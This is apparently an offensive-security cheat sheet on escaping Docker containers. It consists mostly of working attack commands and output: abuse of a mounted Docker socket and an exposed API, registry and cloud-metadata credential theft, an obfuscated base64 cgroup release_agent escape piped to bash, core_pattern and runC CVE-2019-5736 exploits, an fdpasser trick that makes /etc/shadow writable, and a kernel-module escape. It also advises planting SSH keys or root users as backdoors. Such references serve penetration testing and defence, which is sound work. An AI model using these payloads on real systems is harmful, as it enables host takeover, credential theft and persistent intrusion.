# Docker > Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. ## Summary - [Tools](#tools) - [Mounted Docker Socket](#mounted-docker-socket) - [Open Docker API Port](#open-docker-api-port) - [Insecure Docker Registry](#insecure-docker-registry) - [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1) - [Abusing CAP_SYS_ADMIN capability](#abusing-capsysadmin-capability) - [Abusing coredumps and core_pattern](#abusing-coredumps-and-corepattern) - [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc) - [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file) - [References](#references) ## Tools * [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations ```powershell dockscan unix:///var/run/docker.sock dockscan -r html -o myreport -v tcp://example.com:5422 ``` * [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) ```powershell ./deepce.sh ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce ./deepce.sh --no-enumeration --exploit SOCK --shadow ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked" ``` ## Mounted Docker Socket Prerequisite: * Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"` Usually found in `/var/run/docker.sock`, for example for Portainer. ```powershell curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start ``` Exploit using [brompwnie/ed](https://github.com/brompwnie/ed) ```powershell root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true [+] Hunt dem Socks [+] Hunting Down UNIX Domain Sockets from: /var/run/ [*] Valid Socket: /var/run/docker.sock [+] Attempting to autopwn [+] Hunting Docker Socks [+] Attempting to Autopwn: /var/run/docker.sock [*] Getting Docker client... [*] Successfully got Docker client... [+] Attempting to escape to host... [+] Attempting in TTY Mode chroot /host && clear echo 'You are now on the underlying host' chroot /host && clear echo 'You are now on the underlying host' / # chroot /host && clear / # echo 'You are now on the underlying host' You are now on the underlying host / # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` ## Open Docker API Port Prerequisite: * Docker runned with `-H tcp://0.0.0.0:XXXX` ```powershell $ nmap -sCV 10.10.10.10 -p 2376 2376/tcp open docker Docker 19.03.5 | docker-version: | Version: 19.03.5 | MinAPIVersion: 1.12 ``` Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`. ```powershell $ export DOCKER_HOST=tcp://10.10.10.10:2376 $ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash or $ docker -H open.docker.socket:2375 ps $ docker -H open.docker.socket:2375 exec -it mysql /bin/bash or $ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq $ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' ``` From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`. ## Insecure Docker Registry Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`. ```powershell curl https://registry.example.com/v2//tags/list docker pull https://registry.example.com:443/: # connect to the endpoint and list image blobs curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest # download blobs curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz # automated download https://github.com/NotSoSecure/docker_fetch/ python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local ``` Access a private registry and start a container with one of its image ```powershell docker login -u admin -p admin docker.registry.local docker pull docker.registry.local/wordpress-image docker run -it docker.registry.local/wordpress-image /bin/bash ``` Access a private registry using OAuth Token from Google ```powershell curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token docker login -e -u oauth2accesstoken -p "" https://gcr.io ``` ## Exploit privileged container abusing the Linux cgroup v1 Prerequisite (at least one): * `--privileged` * `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags. ### Abusing CAP_SYS_ADMIN capability ```powershell docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -' ``` Exploit breakdown : ```powershell # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` ### Abusing coredumps and core_pattern 1. Find the mounting point using `mount` ```ps1 $ mount | head -n 1 overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work) ``` 2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc` 3. Set the program to be executed on the coredumps ```ps1 echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern ``` 4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash` ```cpp int main(void) { char buf[1]; for (int i = 0; i < 100; i++) { buf[i] = 1; } return 0; } ``` 5. Your payload should have been executed on the host ## Breaking out of Docker via runC > The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736 ```powershell $ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC $ docker run --rm cve-2019-5736:malicious_image_POC ``` ## Breaking out of containers using a device file ```powershell https://github.com/FSecureLABS/fdpasser In container, as root: ./fdpasser recv /moo /etc/shadow Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo Outside container: ls -la /etc/shadow Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow ``` ## Breaking out of Docker via kernel modules loading > When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. Exploitation: * Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping` * Build with `make` * Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` * `cd /root` in the new container * Insert the kernel module with `./escape` * Run `./execute`! Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. * `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). * `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. ## References - [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/) - [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) - [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) - [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) - [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) - [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/) - [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping) * [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/)